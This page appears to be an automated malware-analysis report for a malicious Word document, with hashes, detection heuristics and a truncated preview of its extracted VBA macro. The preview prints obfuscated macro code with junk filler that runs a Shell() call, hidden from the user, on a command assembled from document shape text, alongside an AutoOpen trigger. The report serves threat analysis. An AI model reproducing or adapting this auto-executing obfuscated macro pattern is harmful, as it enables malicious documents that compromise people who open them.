Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bbbf83a914fd9544…

MALICIOUS

Office (OLE)

80.0 KB Created: 2018-11-14 06:38:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 677ea10ecc80b140e5f946f26211ae32 SHA-1: e395406f0c8e922611aa08454ea987aabd352097 SHA-256: bbbf83a914fd9544b55d01626d4a23d61fa81e36f95ae0fc6420023eb4811584
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Generic-6749590-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6749590-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5457 bytes
SHA-256: bfbb3be9cc674fdbd7b53444a30ad5bb9cb9979ef7ffa8cff5025da8ece41a50
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uOwtdijHzP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function Dtpwk()
Const tHPmZt = 386300941 - 386300941
   Dim nYisSLVj As String
        Select Case SCUptiFz
        Case 1
            nYisSLVj = ""
        Case 2
            nYisSLVj = ""
        Case 3
            nYisSLVj = ""
        Case 4
            nYisSLVj = ""
        Case 5
            nYisSLVj = ""
        End Select
        Debug.Print nYisSLVj & " - " & IIf(zmtNX <> "", zmtNX & ": ", "") & jfaDn
   Dim ZOEmEj As String
        Select Case vMfjq
        Case 1
            ZOEmEj = ""
        Case 2
            ZOEmEj = ""
        Case 3
            ZOEmEj = ""
        Case 4
            ZOEmEj = ""
        Case 5
            ZOEmEj = ""
        End Select
        Debug.Print ZOEmEj & " - " & IIf(jpQzzrKRW <> "", jpQzzrKRW & ": ", "") & CAQiDwz
QnVjZhMCE = "" + rrjinE + uEBwBfIZ + Shapes(iIiMPX + qXRZmTz + 1 + LThvzmI + nUwUjkT).TextFrame.ContainingRange + aqfcJUD + XVSiwdz
   Dim WIIdPT As String
        Select Case PJDTvY
        Case 1
            WIIdPT = ""
        Case 2
            WIIdPT = ""
        Case 3
            WIIdPT = ""
        Case 4
            WIIdPT = ""
        Case 5
            WIIdPT = ""
        End Select
        Debug.Print WIIdPT & " - " & IIf(okXFFEAG <> "", okXFFEAG & ": ", "") & DTokqE
   Dim njtlWo As String
        Select Case FllXhAjK
        Case 1
            njtlWo = ""
        Case 2
            njtlWo = ""
        Case 3
            njtlWo = ""
        Case 4
            njtlWo = ""
        Case 5
            njtlWo = ""
        End Select
        Debug.Print njtlWo & " - " & IIf(azEQQ <> "", azEQQ & ": ", "") & VVUmi
   Dim bvzNvDiwV As String
        Select Case lddXQCBB
        Case 1
            bvzNvDiwV = ""
        Case 2
            bvzNvDiwV = ""
        Case 3
            bvzNvDiwV = ""
        Case 4
            bvzNvDiwV = ""
        Case 5
            bvzNvDiwV = ""
        End Select
        Debug.Print bvzNvDiwV & " - " & IIf(aVZjzrzia <> "", aVZjzrzia & ": ", "") & knZuCtNcJ
CJpjKBlnLtC = Shell(QnVjZhMCE + FFXjivOf + bZMIT, tHPmZt)
   Dim EWTFjAv As String
        Select Case XihfDBCB
        Case 1
            EWTFjAv = ""
        Case 2
            EWTFjAv = ""
        Case 3
            EWTFjAv = ""
        Case 4
            EWTFjAv = ""
        Case 5
            EWTFjAv = ""
        End Select
        Debug.Print EWTFjAv & " - " & IIf(tInnXIPtV <> "", tInnXIPtV & ": ", "") & szjSw
   Dim WflwNrXv As String
        Select Case rtaWuU
        Case 1
            WflwNrXv = ""
        Case 2
            WflwNrXv = ""
        Case 3
            WflwNrXv = ""
        Case 4
            WflwNrXv = ""
        Case 5
            WflwNrXv = ""
        End Select
        Debug.Print WflwNrXv & " - " & IIf(DwzAn <> "", DwzAn & ": ", "") & mhsCjOKuV
   Dim ScBaOLIU As String
        Select Case AbKfsnc
        Case 1
            ScBaOLIU = ""
        Case 2
            ScBaOLIU = ""
        Case 3
            ScBaOLIU = ""
        Case 4
            ScBaOLIU = ""
        Case 5
            ScBaOLIU = ""
        End Select
        Debug.Print ScBaOLIU & " - " & IIf(EkENj <> "", EkENj & ": ", "") & JGcsQo
   Dim rmLmYdOjp As String
        Select Case zDkrMiiJ
        Case 1
            rmLmYdOjp = ""
        Case 2
            rmLmYdOjp = ""
        Case 3
            rmLmYdOjp = ""
        Case 4
            rmLmYdOjp = ""
        Case 5
            rmLmYdOjp = ""
        End Select
        Debug.Print rmLmYdOjp & " - " & IIf(mKViYDiY <> "", mKViYDiY & ": ", "") & hTXlIo
End Function
Sub AutoOpen()
   Dim MrsoiMX As String
        Select Case QbRbC
        Case 1
            MrsoiMX = ""
        Case 2
            MrsoiMX = ""
        Case 3
 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.